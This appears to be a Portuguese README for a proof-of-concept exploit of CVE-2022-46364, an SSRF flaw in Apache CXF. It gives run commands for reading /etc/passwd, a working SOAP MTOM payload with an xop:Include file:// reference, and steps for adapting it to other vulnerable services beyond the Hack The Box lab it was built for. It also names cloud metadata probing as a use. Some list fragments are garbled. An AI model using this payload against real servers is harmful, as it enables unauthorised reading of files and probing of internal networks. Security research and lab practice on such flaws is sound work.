
Exploit de prova de conceito para CVE-2022-46364, uma vulnerabilidade de SSRF no Apache CXF que permite leitura arbitrária de arquivos e sondagem de redes internas por meio de requisições SOAP MTOM/XOP manipuladas.
Exploit de Prova de Conceito para CVE-2022-46364 — uma vulnerabilidade de server-side request forgery (SSRF) do Apache CXF no processamento de requisições MTOM/XOP.
CVE-2022-46364 afeta as versões do Apache CXF anteriores a 3.4.10 e 3.5.5. Quando o MTOM (Message Transmission Optimization Mechanism) está habilitado em um serviço SOAP, o unmarshaller do CXF valida incorretamente o atributo href dentro de elementos <xop:Include>. Em vez de restringir o href a URIs cid: (conforme exigido pela especificação XOP do W3C), o CXF resolve URIs arbitrárias — incluindo file://, http:// e https://.
Isso permite que um atacante não autenticado:
file:///etc/passwd)http://169.254.169.254/)Este PoC foi escrito e testado contra a máquina Hack The Box:
Endpoint alvo: http://devarea.htb:8080/employeeservice
Mas pequenas alterações no payload XML de acordo com o WSDL do alvo tornam o script adaptável ao ambiente do alvo.
A URL padrão é http://devarea.htb:8080/employeeservice.
python3 CVE-2022-46364.py --file /etc/passwd
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
python3 CVE-2022-46364.py --file /etc/passwd --verbose
Importante: Este script é codificado com valores fixos para a estrutura WSDL da DevArea HTB. Para usá-lo contra outro serviço Apache CXF vulnerável, você deve modificar o payload SOAP dentro de
build_payload()para corresponder ao contrato WSDL do alvo.
Obtenha o WSDL do alvo:
curl http://target:8080/employeeservice?wsdl
Identifique os detalhes do serviço:
targetNamespace (ex.: http://devarea.htb/)submitReport)<arg0> com <content> aninhado)Modifique o payload em build_payload():
xmlns:dev="...")<dev:submitReport>)<arg0>)<xop:Include href="file://{filepath}"/> dentro de um campo que o servidor processará como anexoAtualize --url ao executar o script.
Dado este trecho de WSDL:
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
Seu payload deve se tornar:
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
multipart/related com Content-Type: application/xop+xml.<xop:Include href="file:///etc/passwd"/> é colocado.file://.<return> do SOAP.Content: e a decodifica.| Recurso | Link |
|---|---|
| Comunicado do Apache CXF | CVE-2022-46364 |
| Entrada NVD | NVD — CVE-2022-46364 |
| Jira do Apache (CXF-8706) | CXF-8706 |
| Especificação XOP do W3C | XML-binary Optimized Packaging |
| Análise aprofundada da Penligent | CVE-2022-46364 PoC in Practice |
| DevArea HTB | Hack The Box — DevArea |
Esta ferramenta destina-se somente a testes de segurança autorizados e fins educacionais. Sempre obtenha permissão explícita antes de testar sistemas que você não possui. O autor não é responsável por qualquer uso indevido ou dano causado por este script.
Licença MIT — sinta-se à vontade para usar, modificar e compartilhar com a devida atribuição.